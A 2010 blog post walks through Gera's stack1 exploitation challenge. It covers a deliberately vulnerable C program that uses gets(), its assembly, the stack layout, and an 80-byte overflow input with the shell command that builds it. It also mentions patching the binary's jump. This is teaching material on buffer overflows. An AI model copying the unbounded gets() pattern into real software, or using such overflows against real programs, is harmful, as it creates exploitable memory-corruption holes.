Tuesday, December 21, 2010

Gera's Insecure Programming: Warming up to the stack #1

Gera has a series of "challenges" designed to help teach people the basics of exploitation. The goal is to provide some input to the program to get it to output you win!"

The code for the first one
/*
* stack1.c
* specially crafted to feed your brain by gera
*/
int main() {
   int cookie;
   char buf[80];
   printf("buf: %08x cookie: %08x\n", &buf, &cookie);
   gets(buf);
   if (cookie == 0x41424344)
      printf("you win!\n");
   }
}

At a lower level
The assembly for the above program generated by clang on FreeBSD with -O3 -fomit-frame-pointer (comments are my addition)
...
main:
   pushl %esi
   subl $100, %esp
   leal -8(%ebp), %eax
   movl %eax, 8(%esp)
   leal -88(%ebp), %esi
   movl %esi, 4(%esp)
   movl $.L.str, (%esp)
   call printf
   movl %esi, (%esp)
   call gets      ; note that gets does not have a length argument
   cmpl $1094861636, -8(%ebp)
   jne .LBB0_2    ; we will come back to this
   movl $str, (%esp)
   call puts
.LBB0_2:
   xorl %eax, %eax
   addl $100, %esp
   popl %esi
   ret
...

Break it down
The program starts off by creating two variables: a cookie and a fixed size buffer. It then prints out the address of buf and cookie
Then the fun starts: gets(3) is called to put data in buf. gets is a very insecure function. To quote the man page:
The gets() function cannot be used securely. Because of its lack of bounds checking, and the inability for the calling program to reliably determine the length of the next incoming line, the use of this function enables malicious users to arbitrarily change a running program's functionality through a buffer overflow attack.
Then we have a check to see if cookie is equal to some value. We can convert this value from an integer to printable ascii(7) characters. 0x41is A, 0x42 is B, etc. So we want to set the cookie to "ABCD". There is one little gotcha: The machine I'm using (and most you probably are) is little endian so we actually need to reverse the order of our text.
What should we actually do?
There is no guarantee of how C variables are stored but we can make a good guess. On my system sizeof(int) is 4 and sizeof(char) is always 1 so our stack probably looks like:
cookie most significant byte
cookie byte 2
cookie byte 3 
cookie least significant byte
buf[79]
buf[78]
...
buf[0]
Lets try it!

The string we want to insert is
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxDCBA. 80 random characters to fill the buffer and then DCBA to fill the cookie (the important part)

[eitan@ByteByte ~/gstack ]%echo $(jot -b x -s '' 80)DCBA > exploit 
[eitan@ByteByte ~/gstack ]%./a.out <exploit 
buf: bfbfea48 cookie: bfbfea98
you win!
A different way:
Lets say we didn't have the source and that this was some music player we wanted to (legally) jailbreak. If you disassemble the file you could can change the jump address or just remove the jump altogether to avoid the check
[eitan@ByteByte ~/gstack !130!]%./a.out
buf: bfbfea48 cookie: bfbfea98
you win!
Some notes

No serious programmer uses gets anymore and real exploits are likely to be harder to create due to OpenBSD's w^x protection, gcc's stack protector, and good coding habits. This was just an intro to the art of exploitation. I plan on following with either the next warming up to the stack challenge or the "esoteric" format string vulnerabilities.

Update 12/26/10 clarified the goal of the exploit. Explained what "jot" does.

3 comments:

  1. have you seen http://en.wordpress.com/tag/geras-insecure-programming/ ?

    ReplyDelete
  2. @Joe
    Yes I have seen that. Xorl Eax Eax is what inspired me to post about Gera's challenges. However none of those people posted about all the challenges. I intend to post about all of them. We will see how well I do.

    Thanks for reading.

    ReplyDelete

Have something you want to say? You think I'm wrong? Found something I said useful?
Leave a comment!